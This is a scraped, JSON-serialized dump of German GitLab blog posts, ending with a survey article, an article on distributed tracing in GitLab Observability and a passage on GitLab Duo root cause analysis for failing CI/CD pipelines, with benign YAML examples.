Gleichzeitig ist aber auch klar, dass die Cloud weiterhin wichtig ist. Die Zahl der Befragten, die angaben, dass sie 50 % oder mehr ihrer Anwendungen in der Cloud ausführen, ist sogar deutlich gestiegen. Das deutet darauf hin, dass die Cloud für viele Unternehmen zwar immer noch geschäftskritisch ist, aber inzwischen zum Standard gehört – und im gleichen Zug, dass die Prioritätenliste für technische Teams und IT- Führungskräfte immer länger wird.\n\nStephens von RedMonk meint: „Wir befinden uns in einer finanziell angespannten Situation und müssen Prioritäten bei den Technologieinvestitionen setzen. Das bedeutet, dass Unternehmen einen Teil, aber nicht das gesamte Budget für die digitale Transformation in Dinge wie KI umschichten können.“\n\n## Der diesjährige Bericht\n\nLies den vollständigen [Globalen DevSecOps-Bericht 2024](https://about.gitlab.com/de-de/developer-survey/), um mehr über KI, Sicherheit, Entwicklererfahrung und weiterführende Themen zu erfahren.",[3124,787,679,765,723],"developer survey",{"slug":3126,"featured":6,"template":682},"3-surprising-findings-from-our-2024-global-devsecops-survey","content:de-de:blog:3-surprising-findings-from-our-2024-global-devsecops-survey.yml","3 Surprising Findings From Our 2024 Global Devsecops Survey","de-de/blog/3-surprising-findings-from-our-2024-global-devsecops-survey.yml","de-de/blog/3-surprising-findings-from-our-2024-global-devsecops-survey",{"_path":3132,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3133,"content":3139,"config":3146,"_id":3148,"_type":16,"title":3149,"_source":17,"_file":3150,"_stem":3151,"_extension":20},"/de-de/blog/monitor-application-performance-with-distributed-tracing",{"title":3134,"description":3135,"ogTitle":3134,"ogDescription":3135,"noIndex":6,"ogImage":3136,"ogUrl":3137,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3137,"schema":3138},"Application Performance Monitoring (APM) mit Distributed Tracing","Erfahre, wie Distributed Tracing die Fehlerbehebung bei Problemen mit der Application Performance unterstützt, indem es eine durchgängige Transparenz und eine nahtlose Zusammenarbeit innerhalb deines Unternehmens ermöglicht.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098000/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%288%29_5x6kH5vwjz8cwKgSBh1w11_1750098000511.png","https://about.gitlab.com/blog/monitor-application-performance-with-distributed-tracing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Application Performance Monitoring (APM) mit Distributed Tracing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sacha Guyon\"}],\n        \"datePublished\": \"2024-06-13\",\n      }",{"title":3134,"description":3135,"authors":3140,"heroImage":3136,"date":3142,"body":3143,"category":680,"tags":3144,"updatedDate":3145},[3141],"Sacha Guyon","2024-06-13","Ausfallzeiten aufgrund von Anwendungsfehlern oder Performance-Problemen können für Unternehmen verheerende finanzielle Folgen haben. Laut Information einer [Umfrage der ITIC von 2022](https://itic-corp.com/server-and-application-by-the-numbers-understanding-the-nines/ \"Umfrage der ITIC von 2022\") kostet eine Stunde Ausfallzeit Unternehmen schätzungsweise 301.000 $ oder mehr. Diese Probleme sind häufig auf von Menschen vorgenommene Änderungen zurückzuführen, z. B. Code- oder Konfigurationsänderungen.\n\nUm Probleme schnell zu beheben, müssen Entwicklungs- und Betriebsteams Hand in Hand arbeiten, um die Ursache zu finden und das System zügig wiederherzustellen. Häufig nutzen sie jedoch unterschiedliche Tools, um ihre Anwendungen und Infrastruktur zu verwalten und zu überwachen. Das führt zu isolierten Daten, schlechter Kommunikation und einem unvollständigen Überblick – was die Lösung von Vorfällen verzögert.\n\nGitLab setzt genau hier an und vereint Softwarebereitstellung und Monitoring auf einer Plattform. Letztes Jahr haben wir [Error Tracking](https://docs.gitlab.com/ee/operations/error_tracking.html \"Error Tracking\") in [GitLab 16.0](https://about.gitlab.com/releases/2023/05/22/gitlab-16-0-released/#error-tracking-is-now-generally-available \"GitLab 16.0\") als feste Funktion integriert. Jetzt freuen wir uns, die [Beta-Version von Distributed Tracing](https://docs.gitlab.com/ee/operations/tracing \"Beta-Version von Distributed Tracing\") vorzustellen – der nächste große Schritt zu einem umfassenden Monitoring, das vollständig in die GitLab-DevSecOps-Plattform eingebettet ist.\n\n## Eine neue Ära der Effizienz: GitLab Observability\n\nGitLab Observability ermöglicht es Entwicklungs- und Operationsteams, Fehler, Traces, Protokolle und Metriken aus ihren Anwendungen und ihrer Infrastruktur zu visualisieren und zu analysieren. Durch die Integration des Application Performance Monitoring in bestehende Softwarebereitstellungs-Workflows werden Kontextwechsel minimiert und die Produktivität erhöht, sodass die Teams auf einer einheitlichen Plattform fokussiert zusammenarbeiten können.\n\nDarüber hinaus überbrückt GitLab Observability die Kluft zwischen Entwicklung und Betrieb, indem es Einblicke in die Application Performance in der Produktion gewährt. Dies verbessert die Transparenz, den Informationsaustausch und die Kommunikation zwischen den Teams. Folglich können sie Fehler und Leistungsprobleme, die durch neuen Code oder Konfigurationsänderungen entstehen, schneller und effektiver erkennen und beheben und so verhindern, dass diese Probleme zu größeren Vorfällen eskalieren, die sich negativ auf das Geschäft auswirken könnten.\n\n## Was ist Distributed Tracing?\n\nMit Distributed Tracing können Entwickler(innen) die Ursache von Leistungsproblemen bei Anwendungen und in der Architektur verteilter Systeme ermitteln. Ein Trace stellt eine einzelne Benutzeranfrage dar, die verschiedene Dienste und Systeme durchläuft. Die Entwickler(innen) sind in der Lage, den zeitlichen Ablauf der einzelnen Vorgänge und alle auftretenden Fehler zu analysieren.\n\nJede Protokollierung besteht aus einem oder mehreren Abschnitten, die einzelne Vorgänge oder Arbeitseinheiten darstellen. Spans enthalten Metadaten wie den Namen, Zeitstempel, Status und relevante Tags oder Protokolle. Durch die Untersuchung der Abhängigkeiten zwischen Spans können Entwickler(innen) den Request Flow verstehen, Performance-Engpässe erkennen und Probleme lokalisieren.\n\n### Distributed Tracing in Microservices\n\nDistributed Tracing ist besonders wertvoll für [Microservices-Strukturen](https://about.gitlab.com/de-de/topics/microservices/ \"Microservices-Strukturen\"), bei denen eine einzige Anfrage zahlreiche Serviceaufrufe in einem komplexen System nach sich ziehen kann. Tracing bietet Einblick in diese Interaktion und ermöglicht es den Teams, Probleme schnell zu diagnostizieren und zu beheben.\n\n![Nutzeranfrage beim Distributed Tracing, um Produktempfehlungen abzurufen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098009139.png)\n\nDieses Beispiel veranschaulicht, wie eine Nutzeranfrage verschiedene Dienste durchläuft, um Produktempfehlungen auf einer E-Commerce-Website abzurufen:\n- `User Action`: Dies zeigt die erste Aktion der Nutzer(innen) an, z. B. das Anklicken einer Schaltfläche zur Anforderung von Produktempfehlungen auf einer Produktseite.\n- `Web front-end`: Das Web-Frontend sendet eine Anfrage an den Empfehlungsdienst, um Produktempfehlungen abzurufen.\n- `Recommendation service`: Die Anfrage vom Web-Frontend wird vom Recommendation Service (dt. Empfehlungsservice) bearbeitet, der die Anfrage verarbeitet und eine Liste empfohlener Produkte erstellt.\n- `Catalog service`: Der Recommendation Service ruft den Servicekatalog auf, um Details zu den empfohlenen Produkten abzurufen. Ein Warnsymbol weist auf ein Problem oder eine Verzögerung in dieser Phase hin, z. B. eine zu langsame Rückmeldung oder einen Fehler beim Abrufen von Produktdetails.\n- `Database`: Der Catalog Service fragt die Datenbank ab, um die aktuellen Produktdaten abzurufen. Dieser Bereich zeigt die SQL-Abfrage in der Datenbank.\n\nDurch die Visualisierung dieses End-to-End-Trace können Entwickler(innen) Leistungsprobleme – hier ein Fehler im Servicekatalog – erkennen und Probleme im gesamten Distributionssystem schnell diagnostizieren und beheben.\n\n![Visualisierung des End-to-End-Trace in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098009140.png)\n\n## Wie funktioniert Distributed Tracing?\n\nIm Folgenden wird die Funktionsweise von Distributed Tracing Tools erläutert.\n\n### Sammeln von Daten aus beliebigen Anwendungen mit OpenTelemetry\n\nTraces und Spans können mit [OpenTelemetry](https://opentelemetry.io/docs/what-is-opentelemetry/ \"OpenTelemetry\") gesammelt werden, einem Open-Source-Framework für Beobachtungen, das eine breite Palette von SDKs und Bibliotheken für [die wichtigsten Programmiersprachen und Frameworks](https://opentelemetry.io/docs/languages/ \"die wichtigsten Programmiersprachen und Frameworks\") unterstützt. Dieses Framework bietet einen herstellerneutralen Ansatz für die Erfassung und den Export von Telemetriedaten, sodass Entwickler(innen) nicht an einen bestimmten Anbieter gebunden sind und die Tools auswählen können, die ihren Anforderungen am besten entsprechen.\n\nDas bedeutet, dass du, wenn du bereits OpenTelemetry mit einem anderen Anbieter verwendest, Daten an uns senden kannst, indem du einfach unseren Endpunkt zu deiner Konfigurationsdatei hinzufügst –so kannst du unsere Funktionen ohne Weiteres ausprobieren!\n\n![Daten aus verschiedenen Anwendungen werden über OpenTelemetry and GitLab Observability geschickt.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098009141.png)\n\n### Datenerfassung und -speicherung in großem Umfang mit schnellen Echtzeitabfragen\n\nBeobachtbarkeiterfordert die Speicherung und Abfrage riesiger Datenmengen bei gleichzeitiger Beibehaltung niedriger Latenzzeiten für Echtzeit-Analysen. Um diese Anforderungen zu erfüllen, haben wir eine horizontal skalierbare Langzeitspeicherlösung mit ClickHouse und [Kubernetes](https://about.gitlab.com/de-de/solutions/kubernetes/ \"Kubernetes\") entwickelt, die auf unserer Übernahme von Opstrace basiert. Diese [Open-Source-Plattform](https://gitlab.com/gitlab-org/opstrace/opstrace \"Open-Source-Plattform\") gewährleistet eine schnelle Abfrageleistung und Skalierbarkeit auf Unternehmensebene, während gleichzeitig die Kosten minimiert werden.\n\n### Traces mühelos untersuchen und analysieren\n\nEine fortschrittliche Benutzeroberfläche auf nativer Ebene ist entscheidend für eine effektive Datenanalyse. Wir haben eine solche Schnittstelle von Grund auf entwickelt. Der Trace Explorer ermöglicht es den Nutzer(innen), Traces zu untersuchen und die Leistung ihrer Anwendung zu verstehen:\n\n- __Erweiterte Filterung:__ Filtere nach Diensten, Vorgangsnamen, Status und Zeitspanne. Die automatische Vervollständigung vereinfacht die Abfrage.\n- __Fehlerhervorhebung:__ Fehlerbereiche in den Suchergebnissen werden einfach erkannt.\n- __RED-Metriken:__ Visualisiere die Anforderungsrate, die Fehlerrate und die durchschnittliche Dauer in einem Zeitseriendiagramm für jede Suche in Echtzeit.\n- __Timeline-Ansicht:__ Einzelne Traces werden als Wasserfalldiagramm dargestellt. So erhältst du einen vollständigen Überblick über eine Anfrage, die über verschiedene Dienste und Vorgänge verteilt ist.\n- __Historische Daten:__ Nutzer(innen) können bis zu 30 Tage in die Vergangenheit zurückreichende Daten abfragen.\n\n![Tracing Benutzeroberfläche für eine effektive Datenanalyse.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098009141.png)\n\n## Wie wir bei GitLab das Distributed Tracing einsetzen\n\n[Dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding \"Dogfooding\") ist ein zentraler Wert und eine wichtige Praxis bei GitLab. Wir haben bereits frühere Versionen von Distributed Tracing für unsere technischen und betrieblichen Anforderungen verwendet. Hier sind ein paar Anwendungsbeispiele aus unseren Teams:\n\n### 1. Beheben von Fehlern und Leistungsproblemen in GitLab Agent für Kubernetes\n\nDie [Environments-Gruppe](https://handbook.gitlab.com/handbook/engineering/development/ops/deploy/environments/ \"Environments-Gruppe\") hat Distributed Tracing verwendet, um Probleme mit dem [GitLab Agent für Kubernetes](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent \"GitLab Agent für Kubernetes\") zu beheben, z. B. Zeitüberschreitungen oder hohe Latenzzeiten. Die Ansichten „Trace List“ und „Trace Timeline“ bieten dem Team wertvolle Einsichten, mit denen sie derartige Probleme effizient lösen können. Diese Traces werden in den [entsprechenden GitLab Issues](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues/386#note_1576431796 \"entsprechenden GitLab Issues\") geteilt und diskutiert, wo das Team dann gemeinsam an der Lösung arbeitet.\n\n*„Die Funktion Distributed Tracing ist von unschätzbarem Wert, wenn es darum geht, festzustellen, wo Latenzprobleme auftreten, sodass wir uns auf die eigentliche Ursache konzentrieren und diese schneller beheben können.“ - Mikhail, GitLab-Ingenieur*\n\n### 2. Optimierung der Dauer der GitLab-Build-Pipeline durch Ermittlung von Leistungsengpässen \n\nLangsame Deployments von GitLab-Quellcode können sich erheblich auf die Produktivität des gesamten Unternehmens sowie auf unsere Rechenleistung auswirken. In unserem Haupt-Repository werden jeden Monat [über 100.000 Pipelines](https://gitlab.com/gitlab-org/gitlab/-/pipelines/charts \"über 100.000 Pipelines\") ausgeführt. Wenn sich die Zeit für die Ausführung dieser Pipelines nur um eine Minute ändert, können dadurch mehr als 2.000 Stunden Arbeitszeit hinzukommen oder wegfallen. Das sind 87 zusätzliche Tage!\n\nUm die Ausführungszeit von Pipelines zu optimieren, verwenden die [Entwicklerteams der GitLab-Plattform](https://handbook.gitlab.com/handbook/engineering/infrastructure/ \"Entwicklerteams der GitLab-Plattform\") ein [speziell entwickeltes Tool](https://gitlab.com/gitlab-com/gl-infra/gitlab-pipeline-trace \"speziell entwickeltes Tool\"), das GitLab-Deployment-Pipelines in Traces umwandelt.\n\nDie Ansicht „Trace Timeline“ ermöglicht es den Teams, die detaillierte Ausführung komplexer Pipelines zu visualisieren und festzustellen, welche Aufträge Teil des kritischen Pfads sind und den gesamten Prozess verlangsamen. Durch die Identifizierung dieser Engpässe können sie die Auftragsausführung optimieren, indem sie z. B. dafür sorgen, dass der Auftrag schneller fehlschlägt oder mehr Aufträge parallel ausgeführt werden, um die Gesamteffizienz der Pipeline zu verbessern.\n\n![Trace Timeline und Details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098009143.gif)\n\nDas Skript ist frei verfügbar, sodass du es für deine eigenen Pipelines anpassen kannst.\n\n*„Der Einsatz von Distributed Tracing für unsere Deployment-Pipelines war ein echter Durchbruch. Es hat uns geholfen, Engpässe schnell zu erkennen und zu beseitigen, was unsere Bereitstellungszeiten erheblich verkürzt hat“ - Reuben, GitLab Engineer*\n\n## Was kommt als Nächstes?\nIn den nächsten Monaten werden wir unsere Beobachtbarkeits- und Monitoring-Funktionen mit den kommenden Versionen Metrics und Logging weiter ausbauen. Weitere Informationen findest du auf unserer Seite zu GitLabObservability.\n\n## Nimm an der privaten Beta teil\nMöchtest du Teil dieser aufregenden Entwicklung sein? Melde dich für die private Beta-Version an und probiere unsere Funktionen aus. Mit deinem Beitrag kannst du die Zukunft der Beobachtbarkeit in GitLab mitgestalten und sicherstellen, dass unsere Tools perfekt auf deine Bedürfnisse und Herausforderungen abgestimmt sind.\n",[850,745,723,746,1875],"2024-10-23",{"slug":3147,"featured":92,"template":682},"monitor-application-performance-with-distributed-tracing","content:de-de:blog:monitor-application-performance-with-distributed-tracing.yml","Monitor Application Performance With Distributed Tracing","de-de/blog/monitor-application-performance-with-distributed-tracing.yml","de-de/blog/monitor-application-performance-with-distributed-tracing",{"_path":3153,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3154,"content":3160,"config":3167,"_id":3169,"_type":16,"title":3170,"_source":17,"_file":3171,"_stem":3172,"_extension":20},"/de-de/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd",{"ogTitle":3155,"schema":3156,"ogImage":3157,"ogDescription":3158,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3159,"title":3155,"canonicalUrls":3159,"description":3158},"GitLab Duo – die KI löst Probleme bei CI/CD-Pipelines ","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Entwicklung von GitLab Duo: mit KI und Ursachenanalyse zur Problembehebung bei CI/CD-Pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rutvik Shah\"},{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-06-06\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097321/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750097321081.png","Entdecke, wie wir die Ursachenanalyse mit KI aufgepeppt haben, um fehlerhafte CI/CD-Pipelines wieder zum Laufen zu bringen. Dabei erwarten dich Beispiele und Übungen, die du selbst ausprobieren kannst.","https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd",{"title":3161,"description":3158,"authors":3162,"heroImage":3157,"date":3164,"body":3165,"category":677,"tags":3166},"Entwicklung von GitLab Duo: mit KI und Ursachenanalyse zur Problembehebung bei CI/CD-Pipelines",[3163,2840],"Rutvik Shah","2024-06-06","***Generative KI bedeutet einen monumentalen Wandel in der\nSoftwareindustrie, da sie die Entwicklung, die Sicherheit und den Betrieb\nvon Software vereinfacht. Unsere neue Blog-Reihe, von unseren Produkt- und\nEntwicklungsteams, gibt einen Einblick darin, wie wir die\nKI-Funktionalitäten entwickeln, testen und bereitstellen, die in deinem\nUnternehmen benötigt werden. Lerne neue Funktionen innerhalb von GitLab Duo\nkennen und erfahre, wie diese DevSecOps-Teams dabei helfen werden, bessere\nErgebnisse für Kund(inn)en zu erzielen.***\n\n\nHattest du schon einmal eine defekte [CI/CD-Pipeline](https://about.gitlab.com/topics/ci-cd/benefits-continuous-integration/) und musstest deinen DevSecOps-Workflow unterbrechen oder sogar das Deployment verzögern, um die Ursache herauszufinden? Wenn bei der Entwicklung von Software etwas schief läuft, müssen Entwickler(innen) traditionellerweise die Fehler selbst beheben, Logdatei über Logdatei durchforsten und oft viele Behebungsversuche durchführen. Mit der [Ursachenanalyse von GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/), die Teil unserer Suite aus KI-Funktionen ist, hat das Rätselraten nun ein Ende, denn diese findet für dich die Ursache einer defekten CI/CD-Pipeline. In diesem Artikel erfährst du, was die Ursachenanalyse ist und wie du die KI-Funktionen von GitLab Duo in deinen DevSecOps-Workflow einbauen kannst.\n\n\n> Entdecke die Zukunft von KI-gestützter Softwareentwicklung mit unserem virtuellen Launch-Event zu GitLab 17. [Jetzt ansehen!](https://about.gitlab.com/de-de/seventeen/)\n\n\n## Was ist eine Ursachenanalyse?\n\n\nDie Ursachenanalyse von GitLab Duo ist eine KI-Funktionalität, die dir dabei hilft, die Grundursache eines fehlerhaften CI/CD-Joblauf herauszufinden. Sie analysiert die Protokolle und schlägt dir dann Möglichkeiten zur Behebung vor. Während die Ursachenanalyse oft im Incident Management angesiedelt ist, sind ihre Workflows und die Fehlersuche Teil eines jeden DevSecOps-Workflows. Ops-Teams, Adminstrator(inn)en und Plattformentwickler(innen) stehen durch Bereitstellungsprobleme, die durch Infrastructure as Code (IaC) entstehen, Kubernetes- und GitOps-Probleme oder durch die lange Nachverfolgung von Stacktraces und Untersuchung von Pipeline-Fehlschlägen vor Herausforderungen.\n\n\nMit der Ursachenanalyse von GitLab Duo nutzen alle dasselbe Interface. Mit Hilfe von KI werden Fehler zusammengefasst, analysiert und Lösungsvorschläge gemacht, damit Unternehmen schneller sichere Software veröffentlichen können.\n\n\nEine Pipeline kann aus verschiedensten Gründen Fehler aufweisen, darunter Syntax-Fehler im Code, fehlende Abhängigkeiten, auf denen die Pipeline basiert, Testfehler während des Build-Vorgangs, Zeitüberschreitungen bei Kubernetes- und IaC-Bereitstellungen sowie zahlreiche weitere Probleme. Wenn solche Probleme auftreten, liegt es in der Verantwortung von allen, die durch die Pipeline erstellten Logs genauestens zu überprüfen. Bei der Überprüfung der Logs wird dann der detaillierte Output untersucht, um spezifische Fehlschläge aufzudecken und die Ursache der defekten Pipeline zu finden. Die folgende Pipeline hat beispielsweise mehrere fehlgeschlagene Jobs, die untersucht und repariert werden müssen.\n\n\n![Bild mit mehreren Job-Ausfällen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097332601.png)\n\n\nEs kann unterschiedlich lange dauern, diese Probleme zu beheben. Das hängt zum Großteil von Faktoren wie den folgenden ab:\n\n\n* Wie vertraut die Entwickler(innen) mit dem Projekt sind\n\n* Ihr Erfahrungsniveau beim Umgang mit ähnlichen Problemen\n\n* Ihr allgemeines Kenntnislevel in der Fehlerbehebung im Kontext der Pipeline.\n\n\nDie manuelle Analyse kann unglaublich herausfordernd und zeitaufwändig sein, da die Logs aus Anwendungsprotokollen und Systemmeldungen mit einer Vielzahl an Fehlerquellen bestehen. Die typische Behebung einer Pipeline besteht aus mehreren Iterationen und Kontextwechseln. Aufgrund der Komplexität und der unstrukturierten Natur der Protokolle ist dies ein idealer Bereich, in dem generative KI die Arbeit beschleunigen kann. Durch den Einsatz von KI können Fehler in einer Pipeline signifikant schneller erkannt und behoben werden. Außerdem ist weniger Expertise für die Behebung einer Pipeline wie im obigen Beispiel erforderlich.Sieh dir die Ursachenanalyse von GitLab Duo in Aktion an:\n\n\n\u003C!-- blank line -->\n\n\n\u003Cfigure class=\"video_container\">\n\n \u003Ciframe src=\"https://www.youtube.com/embed/sTpSLwX5DIs?si=J6-0Bf6PtYjrHX1K\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\n\u003C!-- blank line -->\n\n\n## Wie funktioniert die Ursachenanalyse?\n\n\nBei der [Ursachenanalyse](https://docs.gitlab.com/ee/user/ai_experiments.html#root-cause-analysis) wird ein Teil des CI/CD-Stacktraces an ein [GitLab-KI-Gateway](https://docs.gitlab.com/ee/architecture/blueprints/ai_gateway/) weitergeleitet. GitLab stellt sicher, dass der weitergeleitete Teil in die Limitierungen des umfangreichen Sprachmodells (LLM) passt und erstellt einen vorgefertigten Prompt, um herauszufinden, warum der Job fehlgeschlagen sein könnte. Der Prompt weist das LLM außerdem an, ein Beispiel aufzuzeigen, wie ein(e) Benutzer(in) den fehlerhaften Job beheben könnte. Nachfolgend sind zwei Beispielszenarien, in denen die Ursachenanalyse hilfreich sein kann.\n\n\n#### 1. Analyse eines Abhängigkeitsfehlers in Python\n\n\nEine Python-Anwendung kann zusätzliche Bibliotheken mit Funktionen importieren, die nicht in der Standardbibliothek enthalten sind. Das Projekt [Ursachenanalyse – Python-Konfiguration](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-python-config) implementiert eine Anwendung, die die Konfiguration parst und eine SQLite-Datenbank initialisiert, wobei beide auch ohne zusätzlich installierte Abhängigkeiten funktionieren. Das Beispiel verwendet Best Practices in CI/CD mit einer Python-Umgebung sowie Cashing. Zuletzt wurde nun ein Redis-Caching-Client hinzugefügt, und jetzt schlägt der CI/CD-Build aus irgendeinem Grund fehl. \n\n\nDurch die Ursachenanalyse erfährst du sofort, dass `ModuleNotFoundError` bedeutet, dass das Modul tatsächlich nicht in der Python-Umgebung installiert ist. GitLab Duo schlägt außerdem einen Fix vor: Installiere das Redis-Modul über den PIP-Paketmanager.\n\n\n![Bild mit „modulenotfounderror“ und Lösungsvorschlag von GL Duo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097332602.png)\n\n\nDie fehlerhafte Pipeline kann [hier](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-python-config/-/jobs/6992716398) eingesehen werden. \n\n\nDas Ergebnis der Ursachenanalyse gibt eine Zusammenfassung des Problems aus, das offensichtlich ein Fehler mit einem fehlenden `redis`-Modul ist. Versuchen wir nun, das Problem zu beheben, indem das `redis`-Modul installiert wird. Du kannst entweder `pip install redis` im Abschnitt `script` des CI/CD-Jobs aufrufen oder einen generellen Weg über die Datei `requirements.txt` wählen. Letztere ist nützlich für eine Single Source of Truth (einzige Quelle der Wahrheit) für Abhängigkeiten, die in der Entwicklungsumgebung und in CI/CD-Pipelines installiert wurden.\n\n\n```yaml\n\ntest:\n  extends: [.python-req]\n  stage: test \n  before_script:\n    # [🦊] hint: Root cause analysis. # Solution 1: Install redis using pip\n    - pip install redis\n    # Solution 2: Add redis to requirements.txt, use pip\n    - pip install -r requirements.txt \n\n  script:\n    - python src/main.py\n```\n\n\nNachdem du die fehlende Python-Abhängigkeit behoben hast, schlägt der CI/CD-Job erneut fehl. Führe erneut eine Ursachenanalyse durch, um zu erfahren, dass kein Redis-Service den Job ausführt. Wechsle zum GitLab Duo Chat und gib den Prompt `How to start a Redis service in CI/CD` ein, um zu erfahren, wie du das Attribut `services` im CI/CD-Job konfigurierst.\n\n\n![Zeigt die Aufforderung zum Starten eines Redis-Dienstes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097333/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097332602.png)\n\n\nÄndere `.gitlab-ci.yml` mit dem Job `test` und gib unter service den Dienst `redis` an.\n\n\n```yaml\n\ntest:\n  extends: [.python-req]\n  stage: test \n  before_script:\n    # [🦊] hint: Root cause analysis.\n    # Solution 1: Install redis using pip\n    - pip install redis\n    # Solution 2: Add redis to requirements.txt, use pip\n    - pip install -r requirements.txt \n\n  script:\n    - python src/main.py\n\n  # Solution 3 - Running Redis\n  services:\n    - redis\n```\n\n\nWenn der Redis-Server ausgeführt wird, kannst du die Python-Anwendung erfolgreich ausführen und die Ausgabe im CI/CD-Log sehen.\n\n\n![Ausgabe der Python-Anwendung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097332603.png)\n\n\nDie Lösung kann auch im Unterordner in [/solution](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-python-config/-/tree/main/solution?ref_type=heads) eingesehen werden.\n\n\n**Tipp:** Du kannst den [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) auch bitten, zukünftige Probleme zu verfolgen:\n\n\n```markdown\n\nHow to lint Python code? Which tools are recommended for CI/CD.\n\nHow to pin a package version in Python requirements file?\t\n\nWhat are possible ways that this exception stacktrace is triggered in the future?\n\nAre there ways to prevent the application from failing?\n\n```\n\n\nDas nächste Beispiel ist fortgeschrittener und umfasst mehrere Probleme.\n\n\n#### 2. Fehlende Go-Laufzeit analysieren\n\n\nCI/CD-Jobs können in Containern ausgeführt werden, die über das Attribut `image` konfiguriert werden. Wenn der Container keine Programmiersprachen-Laufzeit bereitstellt, schlagen die ausgeführten Kommandos in `script`, die auf die Binärdatei `go` referenzieren, fehl. Beispielsweise muss dann die Fehlermeldung `/bin/sh: eval: line 149: go: not found` verstanden und behoben werden. \n\n\nWenn der Befehl `go` nicht im Laufzeit Kontext des Containers gefunden wird, kann dies mehrere Gründe haben:\n\n\n1. Der Job verwendet ein minimales Container-Image, z. B. `alpine`, und die Go-Laufzeit wurde nicht installiert.\n\n2. Der Job verwendet das falsche Standard-Container-Image, z. B. das oben in der CI/CD-Konfiguration angegebene oder das Schlüsselwort `default`.\n\n3. Der Job verwendet kein Container-Image, sondern den Shell Executor. Auf dem Host-Betriebssystem ist die Go-Laufzeit nicht installiert oder ist anderweitig defekt/nicht konfiguriert.\n\n\nDas Projekt [Ursachenanalyse – Go GitLab Release Fetcher](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-go-gitlab-release-fetcher) bietet ein Übungsprojekt zur Analyse und Behebung von CI/CD-Problemen mit einer in Go geschriebenen GitLab-Release-Fetcher-Anwendung. Die CI/CD-Jobs `build` und `docker-build` schlagen fehl. Für die Behebung des Problems sind verschiedene Voraussetzungen erforderlich: Du musst verstehen, warum die Go-Laufzeit nicht installiert ist, und etwas über die Syntax `Dockerfile` erfahren.\n\n\n![Screenshot zeigt den fehlgeschlagenen Job „Change Docker Label“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097332603.png)\n\n\nDas [`solution/`-Verzeichnis](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-go-gitlab-release-fetcher) bietet nach der Ursachenanalyse zwei mögliche Lösungen.\n\n\n## Probiere die Ursachenanalyse aus\n\n\nDie folgenden Szenarien kannst du verwenden, um die Ursachenanalyse auszuprobieren.\n\n\n* Wenn du auf Kubernetes-Bereitstellungsfehler oder Zeitüberschreitungen stößt. \n\n* Wenn OpenTofu- oder Terraform-IAC-Pipelines die Cloud-Ressourcen nicht bereitstellen können.\n\n* Wenn das Ansible-Playbook mit einem kryptischen Berechtigungsfehler in CI/CD fehlschlägt.\n\n* Wenn der Java Stacktracer 10 Seiten lang ist.\n\n* Mit einem Shell-Skript, das einen Ausführungsfehler provoziert.\n\n* Wenn ein Perl-Skript in einer Zeile fehlschlägt, die die einzige Zeile im Skript ist.\n\n* Wenn der CI/CD-Job eine Zeitüberschreitung aufweist und nicht klar ist, welcher Abschnitt diese verursacht.\n\n* Wenn eine Zeitüberschreitung der Netzwerkverbindung erreicht wird und du denkst, dass es kein DNS sein kann.\n\n\n### Wie geht es mit der Ursachenanalyse von GitLab Duo in Zukunft weiter?\n\n\nWir wollen unseren Nutzer(inne)n langfristig 